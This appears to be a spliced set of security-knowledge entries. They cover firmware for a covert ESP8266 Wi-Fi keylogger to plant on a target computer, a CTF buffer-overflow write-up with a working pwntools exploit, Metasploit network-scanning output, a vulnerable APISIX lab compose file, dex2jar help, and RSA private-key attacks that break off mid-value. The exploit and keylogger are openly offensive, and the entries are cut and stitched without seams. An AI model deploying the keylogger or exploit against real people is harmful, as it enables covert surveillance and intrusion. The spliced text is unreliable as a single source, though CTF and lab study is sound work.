if(serialData==0x52){return "[UP_ARROW]";} if(serialData==0x53){return "[PAD_NUMLOCK]";} if(serialData==0x54){return "[PAD_DIV]";} if(serialData==0x55){return "[PAD_MUL]";} if(serialData==0x56){return "[PAD_SUB]";} if(serialData==0x57){return "[PAD_ADD]";} if(serialData==0x58){return "[PAD_ENTER]";} if(serialData==0x59){return "[PAD_1]";} if(serialData==0x5A){return "[PAD_2]";} if(serialData==0x5B){return "[PAD_3]";} if(serialData==0x5C){return "[PAD_4]";} if(serialData==0x5D){return "[PAD_5]";} if(serialData==0x5E){return "[PAD_6]";} if(serialData==0x5F){return "[PAD_7]";} if(serialData==0x60){return "[PAD_8]";} if(serialData==0x61){return "[PAD_9]";} if(serialData==0x62){return "[PAD_0]";} if(serialData==0x63){return "[PAD_DOT]";} if(serialData==0xE0){return "[leftctrl]";} if(serialData==0xE2){return "[leftAlt]";} if(serialData==0xE1){return "[leftShift]";} if(serialData==0xE3){return "[leftwindows]";} if(serialData==0xE7){return "[rightwindows]";} if(serialData==0xE5){return "[rightShift]";} if(serialData==0xE6){return "[rightAlt]";} if(serialData==0xE4){return "[rightCtrl]";} } ``` 这个过程需要 2-3 分钟,如果看到了如下返回信息,说明固件已经烧录成功。 接下来是板上元器件的焊接,相关的物料清单如下: 焊接的顺序最好是 CH9350-AMS1111-电容-USB 插接件-ESP8266 模块。**ESP8266 一定要先烧录** 焊接完成后的成品是这样的: *可以视需求安装 ESP8266-07S 的天线,因为其自带的天线信号一般,距离不是很远* --- ## 使用 将无线键盘记录器插入到目标电脑,键盘插入无线键盘记录器 通电后,手机搜索 wifi,找到相应 wifi,连接,访问对应 url 尝试输入 hello,world 可以发现,网页上已经成功读取 访问 /clear,清空 成功清空
sec-knowleage
# Buffering 1 Category: Binary Exploitation, 100 points ## Description > The flag distributing service was updated, but now it seems to be buffering foreverrrrr ```c #include <stdio.h> #include <unistd.h> #include <stdlib.h> #include "flag.h" int get_credentials(); int authenticate_with_server(int *authenticated); void print_flag(); extern char flag[100]; char spinning_icon[4] = {'/', '-', '\\', '|'}; #define USERNAME_LENGTH 32 #define PASSWORD_LENGTH 64 int main() { int authenticated = 0; long int i = 0; printf("Hello and thank you for using Flag Distibuter v2.0 🚩🚩🚩\n"); get_credentials(); printf("Autenticating "); while (!authenticate_with_server(&authenticated)){ printf("\b%c", spinning_icon[(i++) % 4]); fflush(stdout); sleep(0.91); } if(authenticated) print_flag(); return 0; } int get_credentials() { char username[USERNAME_LENGTH] = {0}; char password[PASSWORD_LENGTH] = {0}; printf("To receive the flag, please enter your username and password\n"); printf("Username: "); fflush(stdout); read(STDIN_FILENO, username, PASSWORD_LENGTH); printf("Password: "); fflush(stdout); read(STDIN_FILENO, password, PASSWORD_LENGTH); } void print_flag() { printf("Thank you for waiting, here's the flag: %s\n", flag); fflush(stdout); exit(0); } int authenticate_with_server(int *authenticated) { /*TODO: add authentication with server*/ return 0; } ``` ## Solution This is the follow-up for [Flag Server](Flag_Server.md). Let's check the diff: ```console ┌──(user@kali)-[/media/sf_CTFs/ducky_debug_duck/Buffering_1] └─$ diff -y ../Flag_Server/flag_server.c buffering_1.c #include <stdio.h> #include <stdio.h> #include <unistd.h> #include <unistd.h> > #include <stdlib.h> #include "flag.h" #include "flag.h" int get_credentials(); int get_credentials(); int authenticate_with_server(int *authenticated); int authenticate_with_server(int *authenticated); void print_flag(); void print_flag(); extern char flag[100]; extern char flag[100]; > char spinning_icon[4] = {'/', '-', '\\', '|'}; #define USERNAME_LENGTH 32 #define USERNAME_LENGTH 32 #define PASSWORD_LENGTH 64 #define PASSWORD_LENGTH 64 int main() { int main() { int authenticated = 0; int authenticated = 0; char username[USERNAME_LENGTH] = {0}; | long int i = 0; char password[PASSWORD_LENGTH] = {0}; | > printf("Hello and thank you for using Flag Distibuter v2. > get_credentials(); > > printf("Autenticating "); > while (!authenticate_with_server(&authenticated)){ > printf("\b%c", spinning_icon[(i++) % 4]); > fflush(stdout); > sleep(0.91); > } > > if(authenticated) > print_flag(); > > return 0; > } printf("Hello and thank you for using Flag Distibuter v1. | int get_credentials() { > char username[USERNAME_LENGTH] = {0}; > char password[PASSWORD_LENGTH] = {0}; printf("To receive the flag, please enter your username a printf("To receive the flag, please enter your username a printf("Username: "); printf("Username: "); fflush(stdout); fflush(stdout); read(STDIN_FILENO, username, PASSWORD_LENGTH); read(STDIN_FILENO, username, PASSWORD_LENGTH); printf("Password: "); printf("Password: "); fflush(stdout); fflush(stdout); read(STDIN_FILENO, password, PASSWORD_LENGTH); read(STDIN_FILENO, password, PASSWORD_LENGTH); printf("Autenticating...\n"); < < authenticate_with_server(&authenticated); < < if(authenticated) < print_flag(); < else < printf("Could not authenticate using these username a < < return 0; < } } < void print_flag() { void print_flag() { printf("Authenticated, here's the flag: %s\n", flag); | printf("Thank you for waiting, here's the flag: %s\n" } | fflush(stdout); > exit(0); > } int authenticate_with_server(int *authenticated) { int authenticate_with_server(int *authenticated) { /*TODO: add authentication with server*/ /*TODO: add authentication with server*/ sleep(1); < return 0; return 0; } } ``` The buffer overflow has moved to `get_credentials` and it's impossible to authenticate since `authenticate_with_server` is now being called in a loop while not being actually implemented. From the binary perspective, limitations are a bit more relaxed compared to the previous challenge: ```console ┌──(user@kali)-[/media/sf_CTFs/ducky_debug_duck/Buffering_1] └─$ checksec --file ./buffering [*] '/media/sf_CTFs/ducky_debug_duck/Buffering_1/buffering' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000) ``` So, the plan is to overflow `get_credentials` and call `print_flag`: ```python # First, create a pwntools template by calling: # $ pwn template --host ctf.cs.technion.ac.il --port 4053 ./buffering #=========================================================== # EXPLOIT GOES HERE #=========================================================== # Arch: amd64-64-little # RELRO: Partial RELRO # Stack: No canary found # NX: NX enabled # PIE: No PIE (0x400000) import os def send_payload(p, payload): p.recvuntil(b"Username: ") p.send(payload) p.recvuntil(b"Password: ") p.sendline(b"dummy") def get_overflow_offset(): # It's problematic to create a core dump on an NTFS file system, # so reconfigure core dumps to be created elsewhere with open("/proc/sys/kernel/core_pattern") as f: core_pattern = f.read() if core_pattern.strip() == "core": from pathlib import Path raise Exception("Please run the following command first:\n" "mkdir -p {0} && " "sudo bash -c 'echo {0}/core_dump > /proc/sys/kernel/core_pattern'" .format(Path.home() / "core")) #os.system("echo ~/core/core_dump > /proc/sys/kernel/core_pattern") os.system("rm core.* > /dev/null") proc = process(exe.path) payload = cyclic(90, n = exe.bytes) send_payload(proc, payload) proc.wait() offset = cyclic_find(proc.corefile.fault_addr, n = exe.bytes ) log.info("Overflow offset: {}".format(offset)) return offset overflow_offset = get_overflow_offset() payload = fit({overflow_offset: exe.symbols["print_flag"]}) io = start() send_payload(io, payload) print(io.recvall()) ``` Output: ```console ┌──(user@kali)-[/media/sf_CTFs/ducky_debug_duck/Buffering_1] └─$ python3 exploit.py [*] '/media/sf_CTFs/ducky_debug_duck/Buffering_1/buffering' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000) [+] Starting local process '/media/sf_CTFs/ducky_debug_duck/Buffering_1/buffering': pid 3605 [*] Process '/media/sf_CTFs/ducky_debug_duck/Buffering_1/buffering' stopped with exit code -11 (SIGSEGV) (pid 3605) [+] Parsing corefile...: Done [*] '/media/sf_CTFs/ducky_debug_duck/Buffering_1/core.3605' Arch: amd64-64-little RIP: 0x401380 RSP: 0x7ffe3bb24788 Exe: '/media/sf_CTFs/ducky_debug_duck/Buffering_1/buffering' (0x400000) Fault: 0x6161616161616166 [*] Overflow offset: 40 [+] Opening connection to ctf.cs.technion.ac.il on port 4053: Done [+] Receiving all data: Done (61B) [*] Closed connection to ctf.cs.technion.ac.il port 4053 b"Thank you for waiting, here's the flag: flag{pl3a5e_wa1t...}\n" ```
sec-knowleage
# Writeup Ekoparty CTF 2016 Team: nazywam, other019, c7f.m0d3, cr019283, msm, rev, shalom ![](./score.png) ### Table of contents * [F#ck (re 50)](re_50) * [RrEeGgEeXx (re 75)](re_75) * [Bleeding (pwn 50)](pwn_50) * [My first service I (pwn 100)](pwn_100) * [Super duper advanced attack (web 100)](web_100) * [Old but gold (misc 250)](misc_250) * [Vsftpd dejavu (for 150)](for_150) * [Old times (re 100)](re_100) * [Metadata (fbi 50)](fbi_50) * [Carder (web 150)](web_150) * [Hacker In Disguise (for 100)](for_100)
sec-knowleage
**注:**请多喝点热水或者凉白开,可预防**肾结石,通风**等。 痛风可伴发肥胖症、高血压病、糖尿病、脂代谢紊乱等多种代谢性疾病。 **攻击机:** 192.168.1.5 Debian **靶机:** 192.168.1.2 Windows 7 192.168.1.115 Windows 2003 192.168.1.119 Windows 2003 **第一季主要介绍scanner下的五个模块,辅助发现内网存活主机,分别为:** * auxiliary/scanner/discovery/arp_sweep * auxiliary/scanner/discovery/udp_sweep * auxiliary/scanner/ftp/ftp_version * auxiliary/scanner/http/http_version * auxiliary/scanner/smb/smb_version **第二季主要介绍scanner下的五个模块,辅助发现内网存活主机,分别为:** * auxiliary/scanner/ssh/ssh_version * auxiliary/scanner/telnet/telnet_version * auxiliary/scanner/discovery/udp_probe * auxiliary/scanner/dns/dns_amp * auxiliary/scanner/mysql/mysql_version **第三季主要介绍scanner下的五个模块,辅助发现内网存活主机,分别为:** * auxiliary/scanner/netbios/nbname * auxiliary/scanner/http/title * auxiliary/scanner/db2/db2_version * auxiliary/scanner/portscan/ack * auxiliary/scanner/portscan/tcp ### 十一:基于auxiliary/scanner/netbios/nbname发现内网存活主机 ```bash msf auxiliary(scanner/netbios/nbname) > show options Module options (auxiliary/scanner/netbios/nbname): Name Current Setting Required Description ‐‐‐‐ ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐ ‐‐‐‐‐‐‐‐ ‐‐‐‐‐‐‐‐‐‐‐ BATCHSIZE 256 yes The number of hosts to probe in each set RHOSTS 192.168.1.0/24 yes The target address range or CIDR identifier RPORT 137 yes The target port (UDP) THREADS 50 yes The number of concurrent threads msf auxiliary(scanner/netbios/nbname) > exploit [*] Sending NetBIOS requests to 192.168.1.0‐>192.168.1.255 (256 hosts) [+] 192.168.1.2 [JOHN‐PC] OS:Windows Names:(JOHN‐PC, WORKGROUP, __MSBROWSE__) Addresses:(192.168.1.2, 192.168.163.1, 192.168.32.1)Mac:4c:cc:6a:e3:51:27 [+] 192.168.1.115 [VM_2003X86] OS:Windows Names:(VM_2003X86,WORKGROUP) Addresses:(192.168.1.115) Mac:00:0c:29:af:ce:cc Virtual Machine:VMWare [+] 192.168.1.119 [WIN03X64] OS:Windows User:ADMINISTRATOR Names:(WIN03X64, WORKGROUP, ADMINISTRATOR) Addresses:(192.168.1.119)Mac:00:0c:29:85:d6:7d Virtual Machine:VMWare [*] Scanned 256 of 256 hosts (100% complete) [*] Auxiliary module execution completed ``` ![](media/a6a129d13e2d9bf59ea2604e2209c628.jpg) ### 十二:基于auxiliary/scanner/http/title发现内网存活主机 ```bash msf auxiliary(scanner/http/title) > show options Module options (auxiliary/scanner/http/title): Name Current Setting Required Description ‐‐‐‐ ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐ ‐‐‐‐‐‐‐‐ ‐‐‐‐‐‐‐‐‐‐‐ Proxies no A proxy chain of format type:host:port[,type:host:port] [...] RHOSTS 192.168.1.115,119 yes The target address range or CIDR identifier RPORT 80 yes The target port (TCP) SHOW_TITLES true yes Show the titles on the console as they are grabbed SSL false no Negotiate SSL/TLS for outgoing connections STORE_NOTES true yes Store the captured information in notes. Use "no tes‐t http.title" to view TARGETURI / yes The base path THREADS 50 yes The number of concurrent threads msf auxiliary(scanner/http/title) > exploit [*] [192.168.1.115:80] [C:200] [R:] [S:Microsoft‐IIS/6.0] 协同管理系统 [*] Scanned 2 of 2 hosts (100% complete) [*] Auxiliary module execution completed ``` ![](media/3b3bdcb6030f8589ccd496e6db60b078.jpg) ### 十三:基于auxiliary/scanner/db2/db2_version发现db2服务 ```bash msf auxiliary(scanner/http/title) > use auxiliary/scanner/db2/db2_version msf auxiliary(scanner/db2/db2_version) > show options Module options (auxiliary/scanner/db2/db2_version): Name Current Setting Required Description ‐‐‐‐ ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐ ‐‐‐‐‐‐‐‐ ‐‐‐‐‐‐‐‐‐‐‐ DATABASE toolsdb yes The name of the target database RHOSTS 192.168.1.0/24 yes The target address range or CIDR identifier RPORT 50000 yes The target port (TCP) THREADS 50 yes The number of concurrent threads TIMEOUT 5 yes Timeout for the DB2 probe msf auxiliary(scanner/db2/db2_version) > exploit ``` ![](media/e407db56cbad1474536c65e342335c2d.jpg) ### 十四:基于auxiliary/scanner/portscan/ack发现内网存活主机 ```bash msf auxiliary(scanner/portscan/ack) > show options Module options (auxiliary/scanner/portscan/ack): Name Current Setting Required Description ‐‐‐‐ ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐ ‐‐‐‐‐‐‐‐ ‐‐‐‐‐‐‐‐‐‐‐ BATCHSIZE 256 yes The number of hosts to scan per set DELAY 0 yes The delay between connections, per thread, in milliseconds INTERFACE no The name of the interface JITTER 0 yes The delay jitter factor (maximum value by which to +/‐ DELAY) in milliseconds. PORTS 445 yes Ports to scan (e.g. 22‐25,80,110‐900) RHOSTS 192.168.1.115,119 yes The target address range or CIDR identifier SNAPLEN 65535 yes The number of bytes to capture THREADS 50 yes The number of concurrent threads TIMEOUT 500 yes The reply read timeout in milliseconds msf auxiliary(scanner/portscan/ack) > exploit [*] TCP UNFILTERED 192.168.1.115:445 [*] TCP UNFILTERED 192.168.1.119:445 [*] Scanned 2 of 2 hosts (100% complete) [*] Auxiliary module execution completed ``` ![](media/fbdf74251216dac1ebff41389a22d608.jpg) ### 十五:基于auxiliary/scanner/portscan/tcp发现内网存活主机 ```bash msf auxiliary(scanner/portscan/tcp) > show options Module options (auxiliary/scanner/portscan/tcp): Name Current Setting Required Description ‐‐‐‐ ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐ ‐‐‐‐‐‐‐‐ ‐‐‐‐‐‐‐‐‐‐‐ CONCURRENCY 10 yes The number of concurrent ports to check per host DELAY 0 yes The delay between connections, per thread, in milliseconds JITTER 0 yes The delay jitter factor (maximum value by which to +/‐ DELAY) in milliseconds. PORTS 445 yes Ports to scan (e.g. 22‐25,80,110‐900) RHOSTS 192.168.1.115,119,2 yes The target address range or CIDR identifier THREADS 50 yes The number of concurrent threads TIMEOUT 1000 yes The socket connect timeout in milliseconds msf auxiliary(scanner/portscan/tcp) > exploit [+] 192.168.1.2: ‐ 192.168.1.2:445 ‐ TCP OPEN [*] Scanned 1 of 3 hosts (33% complete) [+] 192.168.1.119: ‐ 192.168.1.119:445 ‐ TCP OPEN [+] 192.168.1.115: ‐ 192.168.1.115:445 ‐ TCP OPEN [*] Scanned 3 of 3 hosts (100% complete) [*] Auxiliary module execution completed ``` ![](media/44247b59b8adadc852f140fb1efde349.jpg) > Micropoor
sec-knowleage
pwunconv === 用来关闭用户的投影密码 ## 补充说明 **pwunconv命令** 与pwconv功能相反,用来关闭用户的投影密码。它会把密码从shadow文件内,重回存到passwd文件里。 ### 语法 ```shell pwunconv ``` ### 实例 ```shell pwunconv # 关闭影子密码 cat /etc/passwd | grep test # 发现密码已经在passwd文件中了 test:$6$nYOEWamm$bz07nlv/.RgJufb3FAqJJeULfwybzgxmrWqbk7O4vI0KsT6N.ujrh6dDIUcAJdfjksyuyAFDPIngZeD3cgcf.0:3001:3001::/home/test:/bin/sh ls /etc/shadow # 查看影子文件,提示没有这个文件或目录 ls: cannot access /etc/shadow: No such file or directory ```
sec-knowleage
version: "2" services: apisix: image: vulhub/apisix:2.9 volumes: - ./apisix.yml:/usr/local/apisix/conf/config.yaml depends_on: - etcd ports: - "9080:9080" - "9091:9091" - "9443:9443" dashboard: image: vulhub/apisix-dashboard:2.9.0 volumes: - ./dashboard.yml:/usr/local/apisix-dashboard/conf/conf.yaml depends_on: - etcd ports: - "9000:9000" etcd: image: bitnami/etcd:3.4.15 environment: ETCD_ENABLE_V2: "true" ALLOW_NONE_AUTHENTICATION: "yes" ETCD_ADVERTISE_CLIENT_URLS: "http://0.0.0.0:2379" ETCD_LISTEN_CLIENT_URLS: "http://0.0.0.0:2379" ports: - "2379:2379/tcp"
sec-knowleage
--- title: dex2jar categories: Hardware Hacking tags: [dex2jar,Hardware Hacking,kali linux] date: 2019-06-25 11:19:00 --- 0x00 dex2jar介绍 ------------- dex2jar包含以下这些组件: - dex读取器,用来读取Dalvik可执行文件(.dex/.odex)。它有与ASM相似的轻量级API。 - dex翻译器,用来进行转换。它以dex-ir格式读入dex指令,经过一些调整,转换为ASM格式。 - dex-ir,在翻译器中使用,用来表示dex指令。 - dex工具,用来处理.class文件。例如:修改apk文件,反混淆jar文件等。 - d2j-smali [待发布]反汇编dex文件,将之还原为smali文件;或从smali文件编译为dex文件。 与smali/baksmali的执行方式不同,两者语法相同,但是本工具支持在desc类型中的转义:“Lcom/dex2jar\t\u1234;” - dex写入器[待发布]以和dex读取器相同的方式写入数据。 原项目地址: https://github.com/pxb1988/dex2jar/ dex2jar主页 | [Kali上的dex2jar项目](http://git.kali.org/gitweb/?p=packages/dex2jar.git;a=summary) - 作者: Panxiaobo - 证书: Apache-2.0 0x01 包含的工具 ---------------- ##### d2j-jar2dex – 调用dx将jar转换为dex ``` root@kali:~# d2j-jar2dex -h d2j-jar2dex -- 调用dx将jar转换为dex。 用法: d2j-jar2dex [参数] <目录> 参数: -f,--force 强制覆写 -h,--help 显示此帮助信息 -o,--output <out-dex-file> 输出.dex文件,默认路径是$current_dir/[jar-name]-jar2dex.dex 版本: 0.0.9.15 ``` ##### d2j-jar-remap–重命名jar文件中的包(package)/类(class)/方法(method)/域(field) ``` root@kali:~# d2j-jar-remap -h d2j-jar-remap -- 重命名jar文件中的包(package)/类(class)/方法(method)/域(field) 用法: d2j-jar-remap [参数] <jar文件路径> 参数: -c,--config <config> 重构用到的的配置文件,此项必须指定 -f,--force 强制覆写 -h,--help 显示此帮助信息 -o,--output <out-jar> 输出.jar文件,默认路径是$current_dir/[jar-name]-remap.jar 版本: 0.0.9.15 在线帮助文档: https://code.google.com/p/dex2jar/wiki/DeObfuscateJarWithDexTool ``` ##### d2j-dex2jar–将dex转换为jar ``` root@kali:~# d2j-dex2jar -h d2j-dex2jar -- 将dex转换为jar 用法: d2j-dex2jar [参数] <0号文件> [其他文件] options: -d,--debug-info 翻译调试信息 -e,--exception-file <file> 具体的异常信息文件,默认是$current_dir/[file-name]-error.zip -f,--force 强制覆写 -h,--help 显示此帮助信息 -n,--not-handle-exception 不捕获dex2jar抛出的任何异常 -o,--output <out-jar-file> 输出.jar文件,默认是$current_dir/[file-name]-dex2jar.jar -os,--optmize-synchronized 同步调整 -p,--print-ir 将ir输出到Syste.out -r,--reuse-reg 生成java的.class文件时循环使用注册表 -s 与--topological-sort/-ts相同 -ts,--topological-sort 以拓扑逻辑整理块,能够生成更多可读代码 -v,--verbose 显示进度 版本: 读取器-1.15, 翻译器-0.0.9.15, ir-1.12 ``` ##### dex2jar–此工具已被弃用,若可能请使用d2j-dex2jar ``` root@kali:~# dex2jar 此工具已被弃用,若可能请使用d2j-dex2jar。 dex2jar 版本: 翻译器-0.0.9.15 dex2jar file1.dexORapk file2.dexORapk ... ``` ##### d2j-jasmin2jar–将.j文件编译为.class文件 ``` root@kali:~# d2j-jasmin2jar -h d2j-jasmin2jar -- d2j-jasmin2jar - 将.j文件编译为.class文件 用法: d2j-jasmin2jar [参数] <路径> 参数: -e,--encoding <enc> 指定.j文件编码方式,默认是UTF-8 -f,--force 强制覆写 -g,--autogenerate-linenumbers 自动生成行号 -h,--help 显示此帮助信息 -o,--output <out-jar-file> 输出.jar文件,默认是$current_dir/[jar-name]-jasmin2jar.jar 版本: 0.0.9.15 ``` ##### d2j-jar-access–增加或移除jar文件中对类(class)/方法(method)/域(field)的访问 ``` root@kali:~# d2j-jar-access -h d2j-jar-access -- 增加或移除jar文件中对类(class)/方法(method)/域(field)的访问 用法: d2j-jar-access [参数] <jar文件> 参数: -ac,--add-class-access <ACC> 增加对class中内容的访问 -af,--add-field-access <ACC> 增加对field中内容的访问 -am,--add-method-access <ACC> 增加对method中内容的访问 -f,--force 强制覆写 -h,--help 显示此帮助信息 -o,--output <out-dir> 指定.j文件输出路径,默认是$current_dir/[jar-name]-access.jar -rc,--remove-class-access <ACC> 移除对class中内容的访问 -rd,--remove-debug 移除调试信息 -rf,--remove-field-access <ACC> 移除对field中内容的访问 -rm,--remove-method-access <ACC> 移除对method中内容的访问 版本: 0.0.9.15 ``` ##### d2j-asm-verify–校验jar文件中的.class 文件 ``` root@kali:~# d2j-asm-verify -h d2j-asm-verify -- 校验jar文件中的.class 文件 用法: d2j-asm-verify [参数] <0号jar文件> [其他jar文件] 参数: -d,--detail 显示详细错误信息 -h,--help 显示此帮助信息 版本: 0.0.9.15 ``` ##### d2j-dex-dump ``` root@kali:~# d2j-dex-dump -h 将.dex或.apk文件中的数据dump至out.dump.jar文件中 ``` ##### d2j-init-deobf–为反混淆jar文件生成初始化配置文件 ``` root@kali:~# d2j-init-deobf -h d2j-init-deobf -- 为反混淆jar文件生成初始化配置文件 用法: d2j-init-deobf [参数] <jar文件> 参数: -f,--force 强制覆写 -h,--help 显示此帮助信息 -max,--max-length <MAX> 若长度大于指定的最大值则进行重命名,默认最大值是40 -min,--min-length <MIN> 若长度小于指定的最小值则进行重命名,默认最小值是2 -o,--output <out-file> 输出.jar文件,默认是$current_dir/[file-name]-deobf-init.txt 版本: 0.0.9.15 ``` ##### d2j-apk-sign–用测试证书对apk文件进行数字签名 ``` root@kali:~# d2j-apk-sign -h d2j-apk-sign -- 用测试证书对apk文件进行数字签名。 用法: d2j-apk-sign [参数] <apk文件路径> 参数: -f,--force 强制覆写 -h,--help 显示此帮助信息 -o,--output <out-apk-file> 输出.apk文件,默认路径是$current_dir/[apk-name]-signed.apk -w,--sign-whole 对整个apk文件进行签名 版本: 0.0.9.15 ``` ##### d2j-jar2jasmin–反汇编jar文件中的.class文件至jasmin文件 ``` root@kali:~# d2j-jar2jasmin -h d2j-jar2jasmin -- 反汇编jar文件中的.class文件至jasmin文件 用法: d2j-jar2jasmin [参数] <jar文件路径> 参数: -d,--debug 反汇编调试信息 -e,--encoding <enc> .j文件的编码方式,默认是UTF-8 -f,--force 强制覆写 -h,--help 显示此帮助信息 -o,--output <out-dir> .j文件的输出路径,默认是$current_dir/[jar-name]-jar2jasmin/ 版本: 0.0.9.15 ``` 0x02 d2j-dex2jar用法示例 ---------------- ``` root@kali:~# d2j-dex2jar /usr/share/metasploit-framework/data/android/apk/classes.dex dex2jar /usr/share/metasploit-framework/data/android/apk/classes.dex -> classes-dex2jar.jar ```
sec-knowleage
# 私钥 d 相关攻击 ## d 泄露攻击 ### 攻击原理 首先当 $d$ 泄露之后,我们自然可以解密所有加密的消息。我们甚至还可以对模数 N 进行分解。其基本原理如下 我们知道 $ed \equiv 1 \bmod \varphi(n)$,那么存在一个 $k$ 使得 $$ ed-1=k\varphi(n) $$ 又 $\forall a\in {Z}_n^*$,满足$a^{ed-1}\equiv1(\bmod n)$。令 $$ ed-1=2^st $$ 其中,$t$ 是一个奇数。然后可以证明对于至少一半的 $a\in {Z}_n^*$,存在一个 $i\in[1,s]$,使得 $$ a^{2^{i-1}t}\not\equiv\pm1(\bmod n),a^{2^{i}t}\equiv1(\bmod n) $$ 成立。如果 $a,i$ 满足上述条件,$gcd(a^{2^{i-1}t}-1,n)$是 $n$ 的一个非平凡因子,所以可以对 $n$ 进行暴力分解。 ### 工具 利用以下工具可以直接进行计算 - RsaConverter.exe (https://sourceforge.net/projects/rsaconverter/ , for windows ) - [rsatool.py](https://github.com/ius/rsatool/blob/master/rsatool.py)(分解原理如上) ### 2017 HITB - hack in the card II > The second smart card sent to us has been added some countermeasures by that evil company. They also changed the public key(attachments -> publickey.pem). However it seems that they missed something...... > Can you decrypt the following hex-encoded ciphertext this time? > ``` > 016d1d26a470fad51d52e5f3e90075ab77df69d2fb39905fe634ded81d10a5fd10c35e1277035a9efabb66e4d52fd2d1eaa845a93a4e0f1c4a4b70a0509342053728e89e977cfb9920d5150393fe9dcbf86bc63914166546d5ae04d83631594703db59a628de3b945f566bdc5f0ca7bdfa819a0a3d7248286154a6cc5199b99708423d0749d4e67801dff2378561dd3b0f10c8269dbef2630819236e9b0b3d3d8910f7f7afbbed29788e965a732efc05aef3194cd1f1cff97381107f2950c935980e8954f91ed2a653c91015abea2447ee2a3488a49cc9181a3b1d44f198ff9f0141badcae6a9ae45c6c75816836fb5f331c7f2eb784129a142f88b4dc22a0a977 > ``` 这题是接续 2017 HITB - hack in the card I 的一道题,我们直接使用 `openssl` 查看 `publickey.pem` 的公钥,发现它的 N 与上一道题的 N 相同,并且上题的 N,e,d 已知。由此可直接使用上面的 `rsatool.py` 得到 p,q,并通过本题的 e 计算出 e 得到明文。 ## Wiener's Attack ### 攻击条件 在 d 比较小($d<\frac{1}{3}N^{\frac{1}{4}}$)时,攻击者可以使用 **Wiener's Attack** 来获得私钥。 ### 攻击原理 - https://en.wikipedia.org/wiki/Wiener%27s_attack - https://sagi.io/2016/04/crypto-classics-wieners-rsa-attack/ ### 工具 - https://github.com/pablocelayes/rsa-wiener-attack - https://github.com/orisano/owiener ## 综合例子 ### 2016 HCTF RSA1 这里我们以 2016 年 HCTF 中 RSA 1 - Crypto So Interesting 为例进行分析,[源代码链接](https://github.com/Hcamael/ctf-library/tree/master/RSA1)。 首先先绕过程序的 proof 部分,差不多使用一些随机的数据就可以绕过。 其次,我们来分析一下具体的代码部分,程序是根据我们的 token 来获取 flag 的,这里我们就直接利用源代码中提供的 token。 ```python print "This is a RSA Decryption System" print "Please enter Your team token: " token = raw_input() try: flag = get_flag(token) assert len(flag) == 38 except: print "Token error!" m_exit(-1) ``` 接下来我们首先知道 $n=pq$,我们再来你仔细分析一下这个 e,d 是如何得到的。 ```python p=getPrime(2048) q=getPrime(2048) n = p * q e, d = get_ed(p, q) print "n: ", hex(n) print "e: ", hex(e) ``` `get_ed` 函数如下 ```python def get_ed(p, q): k = cal_bit(q*p) phi_n = (p-1)*(q-1) r = random.randint(10, 99) while True: u = getPrime(k/4 - r) if gcd(u, phi_n) != 1: continue t = invmod(u, phi_n) e = pi_b(t) if gcd(e, phi_n) == 1: break d = invmod(e, phi_n) return (e, d) ``` 可以看出,我们得到的 u 的位数比 n 的位数的四分之一还要少,这里其实就差不多满足了 Wiener's Attack 了。而且我们计算出来的 u,t,e,d 还满足以下条件 $$ \begin{align*} ut &\equiv 1 \bmod \varphi(n) \\ et &\equiv 1 \bmod bt \\ ed &\equiv 1 \bmod \varphi(n) \end{align*} $$ 根据题中给出的条件,我们已经知道了 n,e,bt。 所以首先我们可以根据上面的第二个式子知道 e。这时候,可以利用第一个式子进行 Wiener's Attack,获取 u。进而这时我们可以利用私钥指数泄露攻击的方法来分解 N 从而得到 p,q。进而我们就可以得到 d 了。 首先我们绕过 proof 得到了 N,e,加密后的 flag 如下 ```shell n: 0x4b4403cd5ac8bdfaa3bbf83decdc97db1fbc7615fd52f67a8acf7588945cd8c3627211ffd3964d979cb1ab3850348a453153710337c6fe3baa15d986c87fca1c97c6d270335b8a7ecae81ae0ebde48aa957e7102ce3e679423f29775eef5935006e8bc4098a52a168e07b75e431a796e3dcd29c98dab6971d3eac5b5b19fb4d2b32f8702ef97d92da547da2e22387f7555531af4327392ef9c82227c5a2479623dde06b525969e9480a39015a3ed57828162ca67e6d41fb7e79e1b25e56f1cff487c1d0e0363dc105512d75c83ad0085b75ede688611d489c1c2ea003c3b2f81722cdb307a3647f2da01fb3ba0918cc1ab88c67e1b6467775fa412de7be0b44f2e19036471b618db1415f6b656701f692c5e841d2f58da7fd2bc33e7c3c55fcb8fd980c9e459a6df44b0ef70b4b1d813a57530446aa054cbfb9d1a86ffb6074b6b7398a83b5f0543b910dcb9f111096b07a98830a3ce6da47cd36b7c1ac1b2104ea60dc198c34f1c50faa5b697f2f195afe8af5d455e8ac7ca6eda669a5a1e3bfbd290a4480376abd1ff21298d529b26a4e614ab24c776a10f5f5d8e8809467a3e81f04cf5d5b23eb4a3412886797cab4b3c5724c077354b2d11d19ae4e301cd2ca743e56456d2a785b650c7e1a727b1bd881ee85c8d109792393cc1a92a66b0bc23b164146548f4e184b10c80ec458b776df10405b65399e32d657bc83e1451 e: 0x10194521505692a64d043daaef7647e0efb1503ec89220a0e4148ab53ecf708146a8893a2e700e4f2f062be14a3ab4e46339a939d5c7289904cc0ab043320d3a4d7da868bf5736ae5f787d6c0e3d9b8cc4b81314ad6c5ff643bc0d8946fea7eb09bf707a54747a39df1cfc0c30849770578cb63de86621001ce86a11874c91419a4d07373e66e94f31b988cac3aeaff88c7abaf3b78468a434990f7854e734208a7461f8245660fa8301f979e85517d705302c797dbdf2938cc442b01c228939eb73aa29651a198a332af2bb982310699684e5a0595c7413ec01eefb3613a9ea4b59f1de984ad4bf6654960613c0f8104b4e41fb33384e07f715176d68f4bb7613b1258675e70dc774f701aee053830f0be28ba9f308c9fe1707a5ba07a2027d74144b8aeb4042df3c1d73d9c38c2d7d1a890fd70d6e38c72da5d075f3811c0354dcecdd836a59112a70be22757278c5e4973906aaeeadd6f61d0845d6f9761df191b0b2527d122dd07f8bd07f5cd14268246ac2b93b778c84b5157f7eb23a8eaa9f0f885f2a38e3fb8fd1012d9b6c841cea8d9d73b232bef298afd086c1063bdd11e0777c8d2ec91ae843a67a98039cb53fad0ee25040176841a017fabf79b98de21d40bc6985f82dd84406aad26e9ac9bc5f6e12385230d9620b888c201ca9c413cbf0f36b100a6c62c5c8f0